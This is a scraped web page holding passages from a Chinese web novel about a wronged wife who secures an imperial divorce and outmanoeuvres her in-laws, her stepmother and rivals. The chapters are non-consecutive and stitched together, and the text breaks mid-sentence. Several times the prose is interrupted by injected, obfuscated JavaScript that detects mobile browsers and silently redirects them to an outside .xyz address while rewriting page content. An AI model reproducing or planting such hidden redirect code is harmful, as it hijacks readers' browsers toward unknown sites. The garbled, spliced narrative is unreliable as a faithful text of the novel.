萧晏辞手指微屈,轻轻敲着桌面,“这般热的天气,陆大姑娘却要大量收购棉衣和炭,真是奇哉怪哉。” 贺昀嗐了一声,随口道:“女人嘛,头发长见识短呗。” 抬腿又给了贺昀一脚,“怎么,瞧不起女人?你是从谁的肚皮里爬出来的?你的小命是谁救的?” 他们主仆这趟出门点背,险些把小命丢了,正巧被石齐舟的商队捡到,顺路就捎回了京城。 真算起来,陆知苒也算是他们的救命恩人了。 贺昀立马伸手张嘴,“是小的嘴拙,该打。” 谁能想到,太仓商行的东家竟是个年轻女子呢? 萧晏辞问他,“你身上有多少银子?” 贺昀在身上掏吧掏吧,掏出一个钱袋子,倒出可怜的碎银几两。 萧晏辞一脸嫌弃,“穷死你算了。” 贺昀:“……那还不都怪您。” 他家殿下天生破财命,任何值钱的东西到了他手里都待不过一个时辰。 便是贺昀帮他保管钱财,也会不翼而飞。 他应该是当朝最穷的皇子,没有之一。 萧晏辞起身,大步流星往外走,贺昀连忙跟上,“殿下,您这是要去哪儿?” 萧晏辞:“进宫,找老头子要点银子花花。” 他有一种预感,跟着陆大姑娘下注,定能大赚一笔。 亏了也不要紧,反正不是他的银子。 与石齐舟商量完各项事宜,陆知苒主仆三人又去街上逛了一圈。 回到府中,已是日落西斜。 心情愉悦地回到玉笙居,没想到却看到了一位不速之客。 楚翊安沉着脸看着她,“以往在家中,你便是如此早出晚归,在外面肆意玩乐?” 好一顶大帽子。 陆知苒险些气笑了。 不欲与他多废话,陆知苒语气冷淡,“请问你有何贵干?” 楚翊安在这玉笙居足足等了大半日,早就等出了满肚子火气。 这女人倒好,非但半点没意识到自己的错误,还这般冷淡敷衍,楚翊安胸中的怒火达到顶点,瞬间炸了。 “这就是你对待夫君该有的态度?” 陆知苒心道,很快就不是了。 “你若是无事的话,请回吧,我要休息了。” 楚翊安只觉得自己一拳打在了棉花上,愤怒又无力。 想到来此的目的,楚翊安压下了胸中怒火,声音冷硬,“母亲唤你,现在就随我去一趟。” 陆知苒眸子微转,脑中忆起了前世的一桩事。 “我换身衣裳就来。” 入内更衣,陆知苒低声询问,“今日府里可是发生了何事?” 金嬷嬷:“如意阁的管事给大小姐送首饰来了。” 果然如此。 她的唇角勾起一抹嘲讽的笑,这些人可真有意思,把她当成召之即来挥之即去的钱袋子呢。 等了快小半个时辰,楚翊安已然不耐到了极致。 终于,陆知苒缓缓走了出来。 她换上了一身家常的素雪绢云形千水裙,原本脸上的妆容洗干净,不施粉黛,素面朝天,头上的海棠滴翠珠子碧玉簪是唯一亮色。 十分寡淡乏味的装扮,但楚翊安却似被什么轻轻撞了一下,眸色微深。 记忆瞬间拉回数年前,他在妙法寺初见她时的情形。 少女立在簌簌梨花下,如画的眉目含着怯怯的笑意,有种孱弱的美丽,令人生出一股强烈的保护欲。 心动不过一瞬。 得知她是自己早年定下的未婚妻,他心中生出无限柔软与欢喜,只盼早日娶她过门。 她今日又作如此装扮,是欲唤起他的怜惜吗? 楚翊安心头的情绪起伏,看向陆知苒的眼神也和缓下来。 她对自己痴情一片,自己却有了书宁,她耍一耍小性子也是情理之中。 看在她苦等自己三年的份儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161862|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,就对她多些包容吧。 楚翊安放缓了语气,“待会儿到了母亲跟前,你听话些,莫要任性,我会替你求情,把管家权要回来。” 陆知苒:? “不必。” 这个破家,谁爱管谁管,她可不会再沾手。 楚翊安深深地望着她,“在我面前,你不必再这般强撑,你心里有什么委屈,都可以说出来。” 一股莫名的恶寒爬上四肢百骸,恶心得她想吐。 这男人脑子是不是有病?这个时候在她面前演什么深情? 她似笑非笑地看着楚翊安,“你现在说这番话不觉得虚伪恶心吗?” 楚翊安的面皮抽动几下,他强忍怒气,“知苒,我只是想跟你心平气和地说说话,你何必总是这样尖酸刻薄?” 陆知苒反问,“我就算说了自己的委屈,你除了那几句廉价的安慰,还能做些什么?” 楚翊安一时语塞。 陆知苒冷冷道:“既然什么都给不了我,那就不必如此故作姿态。” 说完她便抬步向前,不再理会这男人。 前世,她的确吃他这一套,每次都被对方的花言巧语哄得团团转,一再妥协退让。 这辈子,她不会再那般蠢! 楚翊安暗暗握了握拳,心中再次升腾起怒意。 她真的变了,变得与那些市井泼妇一般庸俗不堪,再不是当初在梨花下对自己怯怯一笑的少女。 楚翊安很失望。 陆知苒姗姗来迟,姜氏脸上却不见半分愠色,养气功夫十分了得。 楚云清满脸不虞,但想到自己的目的,硬生生忍住了没出言刁难。 陆知苒朝姜氏行了一礼,姜氏笑着朝她招手,“知苒,你来了?到母亲身旁来坐。” 陆知苒从善如流,毫不客气地坐了下来。 楚云清忍不住开口,“嫂嫂,你方才去哪儿了?我们都等了你一整天了呢!” 语气中难掩抱怨。 方才她亲眼瞧过了那头面,精致华美,堪称美轮美奂,她简直恨不得立马戴到头上去。 奈何陆知苒迟迟不归,她只能吹毛求疵地挑了些毛病,让如意阁的管事把头面拿回去了。 第1章 你不及她万分之一 陆知苒不答反问,“你们寻我可有什么事?” 楚云清张口就要说,被姜氏一记眼神制止了。 姜氏拉着她的手,一副为她做主的语气,“母亲听说,昨日厨房给你送去的饭菜不合胃口,今日便特意命人去敲打了一番,好叫他们知道知道分寸,别自以为是地做些蠢事。” 陆知苒轻轻把手抽了回来,“不过一桩小事罢了,不值一提。” 姜氏一脸正色,“你是当家主母,他们敢怠慢你,这岂是小事?今后这府中中馈还是交给你来管。我老了,这个家没有你实在不行。” 楚云清眼珠一转,也跟着开口吹捧,“可不是嘛,那些下人最会偷奸耍滑,只有嫂嫂镇得住他们,这个家还是嫂嫂来当最合适。” 姜氏佯怒地嗔了楚云清一眼,“你个丫头,眼里就只有你嫂嫂一人。” “女儿说的都是实话嘛,嫂嫂管家时便是厨房的饭菜都要好吃些,不像现在,都是些粗茶淡饭。” 陆知苒心中冷嘲,她管家时都是掏自己的私库补贴,饭菜能不好吃吗? 听完两母女唱的双簧,陆知苒以手撑额,露出痛苦之色。 “我落了水,身上还带着病气,实在没有精力操持庶务,母亲再让我歇一段时日吧。” 陆知苒不想浪费口舌与她们交锋,索性直接用拖字诀。 待三日后,她向皇上求了和离圣旨,一切问题自然迎刃而解。 她的态度平和,并未直接开口拒绝,落在几人眼里便成了妥协让步。 楚翊安唇角勾起一抹略带嘲讽的笑,还真以为她有多硬气,终究还是贪恋这管家权。 姜氏立马从善如流地开口,“你的确该好好歇一歇。清儿,明日你便陪你嫂嫂出门逛逛,松快松快。正好,你嫂嫂送你的那套金丝八宝攒珠头面做好了,明日你们直接到如意阁去瞧瞧。你嫂嫂疼你才舍得给你送那么贵重的礼物,你可得好好谢谢她。” 楚云清立马亲昵地挽上陆知苒的胳膊,嘴巴甜滋滋的。 “谢谢嫂嫂,那套头面我可喜欢了,你简直是世界上最好的嫂嫂!” 前世,楚云清便是这般打着她的名号私自定下了那昂贵的头面,又嘴巴抹蜜地夸赞她这个嫂嫂出手大方,待她如亲妹云云。 她被架了起来,不得不掏了银子,买了这个好名声。 而今两母女又是一套双簧组合拳,再次把她架了起来。 但凡她脸皮薄一点,就只能吃下这个哑巴亏。 只可惜,现在的她脸皮厚如铜墙,她们想故技重施在她身上占便宜,做梦去吧。 姜氏很自信。 有前头那管家权作为甜头,陆知苒必定乖乖掏了这笔银子。 后宅中的女人,有谁会真的不在意管家权?嘴上说不在意,实际上也不过是故意拿乔,想要更多的好处罢了。 姜氏又看向楚翊安,“安儿,左右你明日也无事,便陪知苒和清儿一道去逛逛。” 楚翊安的差事还尚未安排下来,现在赋闲在家。 楚翊安没说话,算是默认。 姜氏安排好,便含笑看着陆知苒。 她知道,陆知苒对翊安有情谊,明日,当着自己在意的夫君之面,她定然会大方地掏银子。 谁料,陆知苒却看着楚云清,真诚且疑惑地开口,“妹妹,我何时给你送过如意阁的头面?我怎的不记得了?” 姜氏脸上的笑意微顿,楚云清声音都拔高了几度。 “三个月前,咱们一块在如意阁看首饰,当时我便瞧上了那副金丝八宝攒珠头面,你不记得了吗?” 陆知苒点头,“确有此事。” 楚云清松了口气,但紧接着就听陆知苒道:“可我并未答应送你。” 楚云清的眼神微闪,旋即脸上便露出了委屈之色。 “嫂嫂,你怎能出尔反尔?莫不是你还在生兄长的气,连带着对我也嫌弃上了?” 楚云清抓住楚翊安的胳膊摇晃,“兄长,你快哄哄嫂嫂吧。” 楚翊安蹙眉看向陆知苒,心底升起一股厌烦,“当初你既大包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161863|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大揽地定了此物,就该善始善终,就算生我的气,也不该无故毁约,连累侯府清誉受损。” 想到那烫手山芋,退也退不得,楚翊安便是一阵窝火。 陆知苒再次重申,“我说了,我不曾答应送她这副头面。” 楚翊安冷着脸,“清儿并非那等爱慕虚荣之人,难道还能胡说八道冤枉你不成?你既然送不起,就不要充大头。” 姜氏连忙开口打圆场,“安儿,知苒,你们都消消气,此事怕是有什么误会。” 她看了楚云清一眼,捕捉到她眼底那抹心虚,心中哪还有什么不明白的。 只怕陆氏的确不曾许诺过。 但这不重要,无论真相如何,这笔银子她都必须出。 姜氏再次开口,“此事到底已过了三月,怕是你们二人都记不大清了。知苒,母亲知道你不缺这点银子,咱们一家人为了那区区一副头面伤了和气也不值当。你若是送给清儿,她定然高兴,母亲也会念着你的好。” 她的八千两银子,就值得对方念她一句好?这算盘珠子都直接打到她脸上来了。 陆知苒语气淡淡,“八千两于我而言的确算不得什么,若是往日,我送便送了。但现在我便是出了这笔银子也落不到好,反而让人觉得我狭隘小气,我又何必白费力气?” 姜氏脸色微沉,很快又扯出笑脸。 “咱们都是一家人,凡事没必要计较得那般清楚。那副头面清儿的确很喜欢,现在再退也不合适。这样吧,明日你也在如意阁打一副头面,银子母亲出。” 陆知苒微微一笑,“儿媳不需要头面,母亲的银子还是留给妹妹买那副头面吧,妹妹那么喜欢,自然不好叫她空欢喜。” 姜氏:…… 她这般油盐不进的态度终于让姜氏沉了脸。 楚云清急得什么都顾不上了,直接嚷道:“你明明答应送给我,现在怎么能反悔?” 陆知苒语气坚定,“我有没有答应,我心里很清楚,我没说过就是没说过。” 第49章 究竟给他灌了什么**汤 陆贯轩面色黑沉。 他这几年的确想走邢大人的路子往上挪一挪,但对方十分不近人情,他一再碰壁。 若侯府肯帮忙,说不定他早就升上去了! 陆知苒继续拱火,“这些年,女儿为侯府操持庶务,补贴了不少嫁妆,但侯府依旧是高高在上的嘴脸,对父亲半点助力都不曾提供,女儿实在是心寒。这样的人家,还有什么留恋的必要?这才是女儿下定决心和离的真正原因。” 陆贯轩的面色更沉了几分,心中的天平也慢慢发生了变化。 楚翊安立了功,前途无量,但若他这个岳父沾不到半点光,反而还要被踩一脚,那他还有什么可高兴的? 再回想这三年,陆家也没有沾到半点侯府的光,这样的岳家留着还有什么用? 陆知苒继续道:“父亲,女儿不是冲动之下才和离,而是经过深思熟虑的决定。接纳女儿,对您,对陆家,都只有好处,没有坏处。” 陆贯轩开始重新审视这个女儿。 他不得不承认,他并没有自己所以为的那般了解自己的女儿。 正这时,方氏匆匆而来。 一见到陆知苒,便拉着她的手开始心疼地抹眼泪。 “我可怜的苒姐儿,你真是受苦了。” 陆知苒用尽全身力气才忍住了把手抽出来的冲动。 如果说,她最恨的人是赵书宁和楚翊安,那么,排在第二位的,便是她这位继母方氏。 前世,母亲早早离世,方氏待她一直温柔和善,视如己出,自己渐渐把她当成了亲生母亲。 却不知,这一切都是对方的伪装,她对自己的每一分善意,背后都藏着险恶的用心。 直到临死,她才从对方口中得知另外一个惊天秘密,母亲之死,不是意外!是她害**母亲! 方氏并未察觉陆知苒的异常,她看向陆贯轩,“老爷,外头的事妾身也有所耳闻,虽说苒姐儿闹到和离有些不妥,但木已成舟,您也消消气,切莫因此伤了父女情分。” 陆知苒看着眼前之人,唇角勾起一抹似笑非笑。 她这话明着在关心自己,实际上却字字扎刀。 不过,她料错了一件事,自家渣爹的态度已然有了转变,可不会站在她那边。 果然,陆贯轩高声反驳,“有什么不妥的?苒姐儿这回做得不错!早该离了!” 方氏的表情凝固,一时没反应过来。 陆贯轩已经骂了起来,“苒姐儿嫁入侯府三年,也等了那厮三年,他一回来就带回个平妻,还为其请封诰命,这是在打谁的脸?” 陆知苒低着头,满是凄然。 “这三年,我侍奉公婆,打理庶务,可谓兢兢业,便是没有功劳也有苦劳。夫君要娶平妻,我自是不会反对,但他事先不曾与我商议,只是事后冷冰冰地告知,完全没有给我身为正妻该有的体面,便是公婆对此也是默认的态度。” “他们为何敢如此行事?无非便是不把父亲放在眼里。我若忍气吞声,旁人岂不都觉得陆家女儿都可任人欺辱?” 原本是一件丢人之事,从她嘴里说出来愣是变成了大义之举,她可真会给自己戴高帽。 方氏不禁开始重新审视这个继女。 “苒姐儿做任何决定,母亲自是全力支持的。只是,女子和离毕竟是少数,外头的人不知内情,也会误会苒姐儿你性子过于刚烈,善妒不容人。” 陆知苒摇头,“公道自在人心,我无惧流言。” “三人成虎,世间对女子更是多有苛责,你此时心性再坚定,这样的流言蜚语听多了,心里头还是会委屈的。” 她满目怜惜,俨然一个心疼女儿的好母亲。 陆知苒亦是满脸感动,“母亲能如此为我考虑,女儿实在感动。但是非在己,毁誉由人,得失不论。女儿无法左右旁人对我的看法,也无法预测未来的局势,只求当下无愧于心。” 话锋一转,“母亲可是担心我带累了妹妹的名声?” 方氏立马道:“苒姐儿你说的是什么话?你和溪儿都是母亲的女儿,你们在母亲心中同样重要。溪儿的名声固然重要,但你的幸福更加要紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161905|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 言外之意便是,她的确带累了陆映溪的名声,只是她大度不予计较罢了。 这话也是说给陆贯轩听的,提醒他也替他们的小女儿想想。 陆贯轩从鼻中发出一声重重哼声,“若只因苒姐儿和离就瞧不起我们陆家的姑娘,可见这样的人家人云亦云,目光狭隘,也不是什么值得结交和托付的人家。” 方氏险些被他这话噎死。 这小蹄子究竟给他灌了什么**汤,让他在这桩大事上竟然一再偏袒维护。 “话虽如此,到底人言可畏,若能寻到两全之法,就再好不过了。” 陆知苒眸底幽深。 她所谓的两全之法,只怕是把自己送到家庙去,永远不要回来。 陆知苒柔柔看向方氏,“母亲不必担忧,我乃奉旨和离,无人敢嚼半句舌根,也不会连累到妹妹的名声。” 方氏捕捉到那几个字眼,呆愣原地。 “奉旨,和离?” “正是,皇上亲自下旨准我和离归家,哪个不长眼的敢刁难我,岂不是公然与皇上作对吗?” 方氏被狠狠敲了一记,脸上神色变幻莫测。 她不敢相信陆知苒竟有此脸面,得皇上亲自下旨和离,但事实摆在眼前,又叫她不得不相信。 陆贯轩已然有些不耐烦,“苒姐儿已经和离了,以后就安安心心待在陆家,其他休要再提!你安排些得力之人,把苒姐儿的院子收拾出来。” 方氏僵笑着开口,“老爷放心,妾身已经做了安排,定不会亏待了苒姐儿。” 陆贯轩点头,“你做事,我素来放心。” 陆知苒屈膝告退,转身的瞬间,她的唇角勾起一抹淡淡笑意。 一切才刚刚开始。 母亲去世后,陆知苒就从主院搬到了瑶光阁,此处位于内院西北角,夏日闷热多蚊虫,冬日背阴湿气重,并非什么宜居之处。 且三年无人居住,各处都荒废得不像样。 方氏安排了府中下人前来帮忙,大家紧赶慢赶,总算赶在天黑前收拾出稍微能看的样子来。 第98章 吃不**,也治不好病 母子二人对视,从彼此眼中看到了深藏的隐忧。 柔妃长长呼了一口气,终于松了口。 “好,母妃给你凑银子。” 萧晏辞闻言,露出笑来,“母妃果然深明大义。” 柔妃剜了他一眼,“你最好给我把银子赚回来,不然我饶不了你。” “母妃到时候就等着数银子吧。” 柔妃还是不大信,但想着方才儿子的话,便只能咬牙**。 若是当真亏了,大不了她再去向皇上哭穷,把这笔银子补上。 人真是禁不起念叨,她心念刚起,外头就传来了宫人的通传声。 “皇上驾到。” 柔妃暗暗翻了个白眼,但很快就撑起了笑脸。 钱袋子来了,可得抓住机会好好薅一把。 母子二人互相打配合,很顺利就从德丰帝那里薅到了一波赏赐。 德丰帝被哄得心情愉悦,柔妃和萧晏辞得了赏赐心情也很好,气氛十分和乐。 但一切很快被打破。 有宫人匆忙来禀,“皇上,不好了,皇后娘娘吐血晕倒了。” 几人都变了脸色,饭也顾不上吃,一起往坤宁宫赶去。 早有太医在给皇后施针诊脉,但床上的人面如金纸,情况俨然不大好。 萧宝珠呆立在床边,双目无神,脸上满是泪痕。 李贵妃消息灵通,凡事都跑在前头,此时她正满脸焦急地守在床边。 看到与德丰帝一同出现的母子二人,李贵妃的表情微微顿了顿。 德丰帝沉声开口,“皇后怎么样?” 一名太医小心翼翼地回话,“回皇上,皇后本就气血亏空,加上郁结于心,肺气淤塞不畅,方才气急攻心,这才吐血。微臣已然给皇后施针,暂时稳住了病情。” 德丰帝眉心死死蹙在一起,“好端端的,皇后怎会气急攻心?” 萧宝珠低低啜泣,“父皇,是,是儿臣惹了母后生气,都是儿臣的错,您要罚就罚儿臣吧。” 她低着头,凌乱的头发遮住了左脸那清晰的巴掌印。 旁人没留意,萧晏辞却一眼看到了,他的眉头瞬间蹙起。 李贵妃一副不赞同的语气,“小九,这本宫就要说说你了,你明知皇后身体不好,怎能惹她生气?若皇后因此有个好歹,你岂不要背个大不孝的罪名?” 萧宝珠的面色霎时又惨白几分。 柔妃护在萧宝珠身前,“亲母女哪能动真怒?皇后性子最是宽和,平日里也最疼宝珠,怎会与宝珠置气?李贵妃,你不明真相可别乱说话。” 萧晏辞也跟着开口,“母后的身子素来不好,太医院开的方子吃不**,也治不好病,时日久了,母后的身子不堪重负,自然垮了。” 德丰帝的脸色不好看,“皇后什么时候能醒?” 几名太医支支吾吾,“这,得看皇后的状态,微臣也,也不敢断言。” 德丰帝大怒,“来来**就是这么一套说辞,要你们何用?” 他们立马跪地请罪。 德丰帝寒着脸,“把太医院的所有人都召来!” 他养着这么多人,难道就没有一个可用的? 德丰帝亲自坐镇坤宁宫,众人也都一道候着,无人敢离开。 小半个时辰后,众太医陆续赶到,先后给孙皇后诊脉。 他们的说辞都大差不差,全是那车轱辘话来回说,无人有法子让孙皇后好转,德丰帝的脸色越来越难看。 蒋老太医年事已高,外头下着大雪,他走得慢,是以最后一个赶到。 颤颤巍巍地行了礼,蒋老太医这才给孙皇后诊脉,足足诊了一盏茶的时间,他收回了手。 “回禀皇上,皇后肝气郁结,肝火上炎,且心率急促不齐,乃心悸之症。眼下只是暂时稳住了情况,若要脱险,需得行一套九转还魂针。” “那就赶紧施针!” 蒋老太医面露迟疑,“此套针法险之又险,微臣也并无绝对把握。而且,施针穴位多在前胸,微臣亦不便施针。” 这话,让殿内陷入了死一般的安静。 萧宝珠的眼泪在眼眶里疯狂打转,都怪她,为什么要说那样的话,惹母后生气? 李贵妃忽而开口,“皇上,不若让赵书宁进宫试试。” 听到这个名字,德丰帝眉峰微蹙。 萧宝珠高声拒绝,“不行!赵书宁那般人品低劣之人,怎能让她给母后诊治?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161954|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>蒋老太医心中也升起反感,但此事关涉到皇后的安危,他身为臣子不便多言。 李贵妃幽幽叹气,“皇后的病症危急,本宫也是担心才会有此提议。赵氏在处理私人感情上是有些糊涂,但她的医术的确可圈可点,小九若觉得不妥,可还有其他更合适的人选?” 萧宝珠噎住。 若是阿笙在就好了,她定能把母后救回来。 李贵妃又叹了一口气,“小九,你已经把皇后气得晕倒,可不能再阻拦旁人给皇后诊治,不然就真的是大不孝了。” 萧宝珠张了张嘴,说不出话来。 愧疚和懊恼将她淹没,她连阻拦的资格都没有。 萧晏辞开口,“贵妃能保证赵书宁一定能把皇后治好吗?” 李贵妃可不会往自己身上揽责任。 “这本宫如何能保证?方才蒋老太医说了,皇后的病情凶险,便是他亲自施针,也不敢保证万无一失。本宫也只是提议,究竟要不要让她来试一试,自然要交由皇上裁决。” 她这个时候提上一嘴,对赵书宁而言已经是莫大的提携。 若成了,这枚棋子还可以再用。 若不成,她也没什么损失。 德丰帝看向蒋老太医,“若不施针,皇后会如何?” “皇后身体本就亏损严重,已是禁不起半点风吹草动,继续拖延,只恐情况不妙。” 这话像一记重锤,狠狠砸在萧宝珠的心口。 眼眶再次泛红,她极力强压,才压住了涌到喉间的呜咽。 德丰帝闭了闭眼,沉沉开口。 “宣赵书宁,即刻入宫为皇后诊治。” …… 这段时日,赵书宁在府中待遇越来越差,起先碧莹拿回来的饭食只是寡淡没油水,后来三个菜变成了一个,分量大打折扣,今日分量倒是够,但却是馊臭的。 碧莹与厨房的人争论,还被打了一耳光,哭哭啼啼地跑回青黛阁。 赵书宁岂是吃亏的主儿? 她提着那馊臭的食盒直接杀到了永福居。 永福居的下人想拦根本拦不住。 姜氏和楚云清正在用饭,二人看到浑身煞气的赵书宁,俱是被震住了。 第105章 借刀** 陆知苒闻言,“噗嗤”一声笑出声来。 回想上次兄妹二人吃饭的情形,的确是一个比一个有干劲。 “你跟阿笙一样,都斯斯文文的,你们才是真正的大家闺秀。” 她这话说得顺嘴,说完之后才意识到什么,赶紧找补。 “我的意思是,你是大家闺秀,阿笙是谦谦君子,不像我七皇兄,他就是个莽夫。” 陆知苒假装没听到她的口误,很公正地替萧晏辞说话。 “瑾王只是行事粗犷豪放,不拘小节罢了。” “那不就是莽夫。” 陆知苒:…… 行吧,她说是就是。 转而又问起了蒋南笙的情况,萧宝珠立马担心起来,“阿笙还没有给我送信,我不知道她那边的情况。不过张垚那边,七皇兄已经做了安排。我七皇兄虽然是个莽夫,但办事还是很可靠的。” 远在收容所的萧晏辞,接连打了好几个喷嚏,他还以为自己是受凉了,殊不知,是他的好妹妹在背地里蛐蛐他。 酣畅淋漓地吃了一顿好的,萧宝珠觉得自己的心情彻底好转了。 果然,没有什么是美食解决不了的。 如果一顿不行,那就来两顿。 二人相携离开,陆知苒余光一撇,瞧见一道熟悉的身影,进了月影阁。 是赵书宁。 她的眸光微动,并未声张,若无其事地出了漱芳斋。 与萧宝珠道别之后,陆知苒这才转头吩咐翠芙,“去问问,月影阁是谁定下的,都有谁在。” 漱芳斋是她的产业,要打听到这一点,并不难。 赵书宁不会安分,她每一个看似寻常的动作,背后或许都隐藏着见不得人的阴谋。 或许是她多疑了,但宁可多心,也不可姑息大意。 不多时翠芙就带回了一个令人意外的消息,“小姐,您一定想不到,月影阁是二小姐定下的,赵书宁也在!二小姐刻意乔装打扮,还蒙了面纱,遮遮掩掩的,但掌柜认识她,也认识她身边的彩蝶。” 陆知苒听罢,眸色微深了几分。 “小姐,奴婢自作主张,让人悄悄听一听她们的谈话。” 陆知苒没有责怪之意。 那两位,都是恨她入骨之人,她们凑到一处,可不会单纯地吃饭聊天。 她们的确不是单纯的吃饭聊天。 这一局,是赵书宁发出的邀约。 陆映溪收到邀约时,很狐疑,也很警惕,但最终还是来了。 只因对方抛出了一个让她无法拒绝的诱饵。 “你想不想知道,方家之事背后,是何人所为?” 这段时日,陆映溪的日子过得并不好,原本丰盈的脸颊肉眼可见地消瘦,眼底也浮起一抹淡淡青黑。 较之以往,她也少了从容镇定,整个人显得浮躁许多。 赵书宁一出现,她就立马开口追问,“你派人给我传的那话是什么意思?你知道是何人在背后害方家?” 赵书宁不紧不慢地坐下,“陆二小姐先别急,咱们坐下来慢慢说。” 陆映溪满脸急躁,“有话就直说,我不想听你故弄玄虚。” 赵书宁也不恼,她凑近了几分,幽幽开口,“陆二小姐且想想,这件事,谁最可能知道内情?谁最恨你们,最恨方家?谁又最有本事做到这一切?能满足这些条件的人,可不多。” 这充满诱导性的话,让陆映溪不受控制地想到了一个人。 “陆知苒!是她对不对?” 赵书宁露出一抹意味深长的笑,既不承认,也不否认。 她不会告诉陆映溪,她也不知道此事究竟是不是陆知苒所为。 不管是不是她,这口黑锅她都背定了。 要对付陆知苒,还有什么比借刀**更稳妥的手段? 只要陆映溪母女相信了她的话,就不会放过陆知苒。 陆映溪脑中思绪转了几圈之后,赵书宁这才缓缓开口,“陆二小姐果然聪慧过人。” 陆映溪心中恨极了,但在赵书宁面前,她依旧满是戒备。 “你有什么证据?” 赵书宁摊了摊手,“我没有证据,陆知苒行事狡猾,岂会留下把柄?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15161961|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>陆映溪当即冷了脸,“空口白话,你就想让我信了你?你怕是把我当傻子,想让我给你当枪使吧!” “我的确没有证据,但此事,却是李贵妃亲口告知,岂会有假?李贵妃还会平白冤枉谁不成?” 赵书宁信誓旦旦,陆映溪怔住。 “李贵妃在调查陆家?” 赵书宁意味深长,“不是陆家,而是陆知苒。有些人自以为鸡犬升天,殊不知,风光只是一时的,她早就挡了贵人的道了。” 陆映溪心头一震。 她便知道,陆知苒太过招摇,早就惹人恨了。 真以为立了一点功劳就能为所欲为?贵人们动动手指头就能捏死她! 赵书宁单刀直入,“我想与陆二小姐合作,除掉我们共同的敌人,不知陆二小姐敢不敢?” 陆映溪不相信对方那么好心地告诉她这些,更不想被牵着鼻子走。 “我为什么要与你合作?谁知道你在打什么算盘。” 赵书宁看出她的戒备,幽幽叹息,“我可是一心为了陆二小姐着想。继续任由她胡闹下去,只怕陆家也会被她牵连。” 陆映溪心头一顿,是了,她已经惹了李贵妃不快,若李贵妃因此迁怒陆家,自己也别想有好日子过。 “你们母女现在在陆家的日子,应当不好过吧。” 陆映溪被戳中痛处,面容微微扭曲几分。 赵书宁循循善诱,“这一切都是因为陆知苒,你难道不想报仇吗?” 当然想! “陆二小姐,你实在不必对我这般戒备,我比任何人都恨陆知苒,你我也没有利益纠葛,我不会害你。” 陆映溪咬咬牙,终于下定决心,“怎么合作?” 赵书宁露出满意一笑。 她便知道,自己此行定然不会空手而归。 赵书宁离开没多久,陆知苒就收到了掌柜送来的回信。 她们交谈声音太低,听不真切,只隐约听到了“方家”“保媒”的字眼。 翠芙大惊道:“小姐,她们该不会是知道方家之事是我们所为吧?” 第110章 不知廉耻的** 陆知苒害她方家遭了大难,让老爷跟她离了心,这次,她必让她付出更惨痛的代价! 赵书宁见外面根本没有人来,就猜到了方氏对她有防备! 好容易抓到机会把陆知苒踩到泥里,她本不想大事化小小事化了,但眼下也不能把方氏得罪狠了。 楚云清见外面没人,一时更加恼怒,“一定是陆知苒早早就把附近的人给遣散了,她可真是好算计,这对奸夫**!” 她口不择言,陆贯轩被气坏了,“你们血口喷人,苒姐儿真想掩人耳目,怎么会在你们在时做这等事情!谁不知道是你们记恨苒姐儿,才故意往她身上泼脏水!” 楚云清立马反驳,“我们在外头闹出的动静如此大,屋子里却一直静悄悄的,毫无反应,这还不能说明问题吗?她分明就是心虚,躲着不敢出来。” 楚云清的话说到了众人心坎上。 赵书宁走到楚翊安跟前,“翊安,现在,你应当知道她是怎样的人了吧!她在外的好名声,全都是手底下的能人经营的,她不过动动嘴皮子,甚至连嘴皮子都不需要动。现在我们所看到的,才是她真正的秉性。” 